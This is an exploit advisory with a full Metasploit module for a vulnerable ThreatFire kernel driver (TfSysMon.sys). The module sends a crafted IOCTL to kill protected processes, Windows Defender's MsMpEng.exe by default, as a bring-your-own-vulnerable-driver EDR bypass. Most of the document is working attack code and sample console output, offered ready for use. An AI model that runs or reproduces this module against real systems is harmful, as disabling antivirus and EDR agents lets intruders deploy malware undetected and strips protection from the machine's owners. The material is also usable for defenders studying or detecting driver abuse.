============================================================================================================================================= | # Title : ThreatFire System Monitor 4.7.0.53 Kernel‑Mode Arbitrary Process Termination (BYOVD EDR Bypass) | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://threatfire.informer.com/4.7/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/210976/ & CVE-2025-61156 [+] Summary : A vulnerable kernel‑mode driver, ThreatFire System Monitor (TfSysMon.sys), exposes an unsafe IOCTL interface that allows unprivileged user‑mode code to request arbitrary process termination from kernel mode. [+] Root Cause : The driver creates a device object (\\.\TfSysMon) accessible from user‑mode. It accepts a custom IOCTL with a user‑controlled PID. It fails to enforce: Proper privilege checks Validation of the target process Protected Process Light (PPL) restrictions As a result, the driver terminates processes directly from kernel context. [+] Impact : Protected processes can be killed, including: Windows Defender (MsMpEng.exe) EDR and anti‑malware agents [+] Enables: EDR / AV bypass Local denial of service Security boundary violation Fully bypasses normal Windows user‑mode protections. [+] POC : msf6 > use exploit/windows/local/defender_terminate msf6 exploit(windows/local/defender_terminate) > set SESSION 1 msf6 exploit(windows/local/defender_terminate) > run [] Running as SYSTEM [] Opening driver handle: \.\TfSysMon [] Driver handle opened successfully [] Looking for process: MsMpEng.exe [] Found MsMpEng.exe with PID: 1234 [] Sending IOCTL: 0xb4a00404 [*] IOCTL sent successfully. Bytes returned: 0 [+] Successfully terminated MsMpEng.exe with PID: 1234 [+] Verified: MsMpEng.exe has been terminated [*] Driver handle closed Notes: This code follows the standard Metasploit module structure. Uses railgun to interact with the Windows API. Includes detailed user messages (verbose). Supports both x86 and x64. Includes handle cleanup after use. Includes operation success verification. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Defender Process Termination via TfSysMon Driver', 'Description' => %q{ This module terminates the Windows Defender process (MsMpEng.exe) by sending a specific IOCTL to the TfSysMon driver. The driver must be installed and running for this exploit to work. }, 'License' => MSF_LICENSE, 'Author' => ['indoushka'], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ ['Windows x64', { 'Arch' => ARCH_X64 }] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2024-01-01', 'References' => [] )) register_options([ OptString.new('DRIVER_NAME', [true, 'Driver name to interact with', 'TfSysMon']), OptString.new('TARGET_PROCESS', [true, 'Target process to terminate', 'MsMpEng.exe']) ]) end def get_driver_handle driver_path = "\\\\.\\#{datastore['DRIVER_NAME']}" vprint_status("Opening driver handle: #{driver_path}") # CreateFileA equivalent in Ruby handle = session.railgun.kernel32.CreateFileA( driver_path, 'GENERIC_READ | GENERIC_WRITE', 0, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_NORMAL', 0 ) if handle['return'] == 0 || handle['return'] == 0xFFFFFFFF vprint_error("Failed to open driver handle. Error: #{handle['GetLastError']}") return nil end vprint_good("Driver handle opened successfully") return handle['return'] end def get_process_id(process_name) vprint_status("Looking for process: #{process_name}") processes = session.sys.process.get_processes processes.each do |proc| if proc['name'].casecmp(process_name) == 0 vprint_good("Found #{process_name} with PID: #{proc['pid']}") return proc['pid'] end end vprint_error("#{process_name} not found") return 0 end def send_ioctl(driver_handle, ioctl_code, in_buffer) # ZWTERM_STRUCT structure # 4 bytes head_pad + 4 bytes processID + 16 bytes tail_pad = 24 bytes total # Prepare input buffer in_buffer_size = 24 lp_bytes_returned = [0].pack('L') vprint_status("Sending IOCTL: 0x#{ioctl_code.to_s(16).rjust(8, '0')}") # DeviceIoControl call result = session.railgun.kernel32.DeviceIoControl( driver_handle, ioctl_code, in_buffer, in_buffer_size, nil, 0, lp_bytes_returned, nil ) if result['return'] == false vprint_error("DeviceIoControl failed. Error: #{result['GetLastError']}") return false end bytes_returned = lp_bytes_returned.unpack('L').first vprint_good("IOCTL sent successfully. Bytes returned: #{bytes_returned}") return true end def exploit # Check if we're running as SYSTEM if is_system? print_good("Running as SYSTEM") else print_warning("Not running as SYSTEM - some operations may fail") end # Get driver handle driver_handle = get_driver_handle if driver_handle.nil? fail_with(Failure::NotFound, "Could not get driver handle. Is the driver started?") end # Get target process ID target_pid = get_process_id(datastore['TARGET_PROCESS']) if target_pid == 0 session.railgun.kernel32.CloseHandle(driver_handle) fail_with(Failure::NotFound, "Target process #{datastore['TARGET_PROCESS']} not found") end # Prepare ZWTERM_STRUCT # Structure: 4 bytes padding + 4 bytes PID + 16 bytes padding zwterm_struct = "\x00" * 4 + # head_pad [target_pid].pack('L') + # processID (little-endian) "\x00" * 16 # tail_pad # Send IOCTL (0xb4a00404) ioctl_code = 0xb4a00404 if send_ioctl(driver_handle, ioctl_code, zwterm_struct) print_good("Successfully terminated #{datastore['TARGET_PROCESS']} with PID: #{target_pid}") # Verify process is terminated sleep(1) if get_process_id(datastore['TARGET_PROCESS']) == 0 print_good("Verified: #{datastore['TARGET_PROCESS']} has been terminated") else print_warning("Process termination may have failed - #{datastore['TARGET_PROCESS']} still running") end else session.railgun.kernel32.CloseHandle(driver_handle) fail_with(Failure::Unknown, "Failed to terminate process") end # Cleanup session.railgun.kernel32.CloseHandle(driver_handle) print_status("Driver handle closed") end def cleanup # Additional cleanup if needed super end end Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================